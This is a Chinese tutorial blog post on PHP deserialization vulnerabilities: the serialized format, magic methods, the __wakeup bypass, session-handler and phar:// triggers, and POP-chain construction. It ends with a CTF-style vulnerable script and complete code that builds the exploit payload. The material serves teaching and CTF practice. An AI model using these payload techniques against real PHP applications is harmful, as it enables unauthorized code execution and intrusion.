PHP反序列化详解

PHP反序列化漏洞(PHP对象注入漏洞)


PHP中有两个函数serialize()[用于序列化]和unserialize()[用于反序列化]

这里一个使用了serialize函数序列化数值的例子

<?php

class chybeta{

var $test = '123';

}

$class1 = new chybeta;

$class1_ser = serialize($class1);

print_r($class1_ser);

?>

该例子的输出为:

O:7:"chybeta":1:{s:4:"test";s:3:"123";}

在该字符串中,字母O代表Object,也就是说如果序列化的是一个数组就会用A(Array)字母代替,数字7代表对象的名称有7个字符,然后引号包含的字符串就是对象名称。数字1代表该对象有一个值,s:4:”test”与之类似代表一个名4个字符的字符串叫test。

然后

这里有一个使用了unserialize函数的例子

<?php

class chybeta{

var $test = '123';

}

$class2 = 'O:7:"chybeta":1:{s:4:"test";s:3:"123";}'; print_r($class2);

echo "</br>";

$class2_unser = unserialize($class2);

print_r($class2_ser);

?>

这段代码会输出什么呢?

输出:chybeta Object ([test]=123)

注意:当使用 unserialize() 恢复对象时, 将调用 __wakeup() 成员函数

既然提到的__wakeup()的话,这边需要来了解一下这类函数的应用。

__wakeup()、__sleep()、构造函数__construct()、析构函数__destruct()这类的函数在PHP语言中被称为魔术方法(Magic Function)。

<?php

class chybeta{

var $test = '123';

function __wakeup(){

echo "__wakeup";

echo "</br>";

}

function __construct(){

echo "__construct";

echo "</br>";

}

function __destruct(){

echo "__destruct";

echo "</br>";

}

}

$class2 = 'O:7:"chybeta":1:{s:4:"test";s:3:"123";}';

print_r($class2);

echo "</br>";

$class2_unser = unserialize($class2);

print_r($class2_unser);

echo "</br>";

?>

该段代码会有一个什么样的输出结果呢?

先输出字符串class2然后调用__wakeup()再打印class2_unser然后在调用__destruct()。

在什么样子的情况下这样的函数会被利用到呢?

第一:危害代码存在于函数中

第二:层层调用,危害代码不直接存在于函数,而是在该函数new的对象中

第三:利用普通成员方法,构造利用字符串。

注意点:

当成员属性数目大于实际数目时可绕过wakeup方法(CVE-2016-7124)

该漏洞相关 SugarCRM v6.5.23 PHP反序列化对象注入漏洞分析


几个简单实例:

题目入口:http://120.79.33.253:9001

Session反序列化漏洞

必要知识:session序列化机制

当session_start()函数被调用或者php.ini中session.auto_start值为1时,PHP将内部调用会话管理器,将用户的session序列化后存储到指定目录。

PHP处理器一般有三种序列化的处理方式:

| 处理器 | 对应的存储格式 |

| ————————— |:——————————-|

| php_binary | 键名的长度对应的ASCII字符+键名+经过serialize() 函数反序列处理的值 |

| php | 键名+竖线+经过serialize()函数反序列处理的值 |

|php_serialize |serialize()函数反序列处理数组方式|

PHP.INI文件中的几个配置项

session.save_path=""  --设置session的存储路径,默认在/tmp

session.auto_start  --指定会话模块是否在请求开始时启动一个会话,默认为0不启动

session.serialize_handler  --定义用来序列化/反序列化的处理器名字。默认使用php

实例: http://web.jarvisoj.com:32784/index.php

解题姿势: session.upload_progress.enabled为On。session.upload_progress.enabled本身作用不大,是用来检测一个文件上传的进度。但当一个文件上传时,同时POST一个与php.ini中session.upload_progress.name同名的变量时(session.upload_progress.name的变量值默认为PHP_SESSION_UPLOAD_PROGRESS),PHP检测到这种同名请求会在$_SESSION中添加一条数据。

Phar伪协议触发PHP反序列化

什么是phar://协议?

可以将多个文件归入一个本地文件夹,也可以包含一个文件

什么是phar文件?

PHAR(PHP归档)文件是一种打包格式,将PHP代码文件和其他资源文件打包到一个归档文件中实现程序和库的分发。PHAR格式的归档需要自编写代码使用。

phar文件结构

详解参考PHP手册(https://secure.php.net/phar)

1、a stub

识别phar拓展的标识,格式:xxx<?php xxx; __HALT_COMPILER();?>。对应的函数Phar::setStub

2、a manifest describing the contents

被压缩文件的权限、属性等信息都放在这部分。这部分还会以序列化的形式存储用户自定义的meta-data,这是漏洞利用的核心部分。对应函数Phar::setMetadata—设置phar归档元数据

3、the file contents

被压缩文件的内容。

4、[optional] a signature for verifying Phar integrity (phar file format only)

签名,放在文件末尾。对应函数Phar :: stopBuffering —停止缓冲对Phar存档的写入请求,并将更改保存到磁盘

Phar内置方法

要想使用Phar类里的方法,必须将phar.readonly配置项配置为0或Off(文档中定义)PHP内置phar类,其他的一些方法如下:

其他方法如下:

$phar = new Phar('phar/hpdoger.phar'); //实例一个phar对象供后续操作

$phar->startBuffering()  //开始缓冲Phar写操作

$phar->addFromString('test.php','<?php echo 'this is test file';'); //以字符串的形式添加一个文件到 phar 档案

$phar->buildFromDirectory('fileTophar') //把一个目录下的文件归档到phar档案

$phar->extractTo()  //解压一个phar包的函数,extractTo 提取phar文档内容

附录:魔术函数

__construct()//创建对象时触发

__destruct() //对象被销毁时触发

__call() //在对象上下文中调用不可访问的方法时触发

__callStatic() //在静态上下文中调用不可访问的方法时触发

__get() //用于从不可访问的属性读取数据

__set() //用于将数据写入不可访问的属性

__isset() //在不可访问的属性上调用isset()或empty()触发

__unset() //在不可访问的属性上使用unset()时触发

__invoke() //当脚本尝试将对象调用为函数时触发

POP链构造

POP:面向属性编程

面向属性编程(Property-Oriented Programing) 用于上层语言构造特定调用链的方法,与二进制利用中的面向返回编程(Return-Oriented Programing)的原理相似,都是从现有运行环境中寻找一系列的代码或者指令调用,然后根据需求构成一组连续的调用链。在控制代码或者程序的执行流程后就能够使用这一组调用链来执行一些操作。

POP链利用:

一般的序列化攻击都在PHP魔术方法中出现可利用的漏洞,因为自动调用触发漏洞,但如果关键代码没在魔术方法中,而是在一个类的普通方法中。这时候就可以通过构造POP链寻找相同的函数名将类的属性和敏感函数的属性联系起来。

实战训练:

<?php

class start_gg

{

        public $mod1;

        public $mod2;

        public function __destruct()

        {

                $this->mod1->test1();

        }

}

class Call

{

        public $mod1;

        public $mod2;

        public function test1()

    {

            $this->mod1->test2();

    }

}

class funct

{

        public $mod1;

        public $mod2;

        public function __call($test2,$arr)

        {

                $s1 = $this->mod1;

                $s1();

        }

}

class func

{

        public $mod1;

        public $mod2;

        public function __invoke()

        {

                $this->mod2 = "字符串拼接".$this->mod1;

        }

}

class string1

{

        public $str1;

        public $str2;

        public function __toString()

        {

                $this->str1->get_flag();

                return "1";

        }

}

class GetFlag

{

        public function get_flag()

        {

                echo "flag:"."xxxxxxxxxxxx";

        }

}

$a = $_GET['string'];

unserialize($a);

?>

如何得到FLAG呢?

<?php

class start_gg

{

        public $mod1;

        public $mod2;

        public function __construct()

        {

                $this->mod1 = new Call();//把$mod1赋值为Call类对象

        }

        public function __destruct()

        {

                $this->mod1->test1();

        }

}

class Call

{

        public $mod1;

        public $mod2;

        public function __construct()

        {

                $this->mod1 = new funct();//把 $mod1赋值为funct类对象

        }

        public function test1()

        {

                $this->mod1->test2();

        }

}

class funct

{

        public $mod1;

        public $mod2;

        public function __construct()

        {

                $this->mod1= new func();//把 $mod1赋值为func类对象

        }

        public function __call($test2,$arr)

        {

                $s1 = $this->mod1;

                $s1();

        }

}

class func

{

        public $mod1;

        public $mod2;

        public function __construct()

        {

                $this->mod1= new string1();//把 $mod1赋值为string1类对象

        }

        public function __invoke()

        {       

                $this->mod2 = "字符串拼接".$this->mod1;

        }

}

class string1

{

        public $str1;

        public function __construct()

        {

                $this->str1= new GetFlag();//把 $str1赋值为GetFlag类对象         

        }

        public function __toString()

        {       

                $this->str1->get_flag();

                return "1";

        }

}

class GetFlag

{

        public function get_flag()

        {

                echo "flag:"."xxxxxxxxxxxx";

        }

}

$b = new start_gg;//构造start_gg类对象$b

echo urlencode(serialize($b))."<br />";//显示输出url编码后的序列化对象

后记:简书的代码排版简直让我蛋疼,一篇去年写的勉强充数一下这礼拜的文章吧。

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 201,924评论 5 474
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 84,781评论 2 378
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 148,813评论 0 335
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 54,264评论 1 272
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 63,273评论 5 363
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 48,383评论 1 281
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 37,800评论 3 393
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 36,482评论 0 256
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 40,673评论 1 295
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 35,497评论 2 318
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 37,545评论 1 329
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 33,240评论 4 318
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 38,802评论 3 304
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 29,866评论 0 19
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 31,101评论 1 258
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 42,673评论 2 348
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 42,245评论 2 341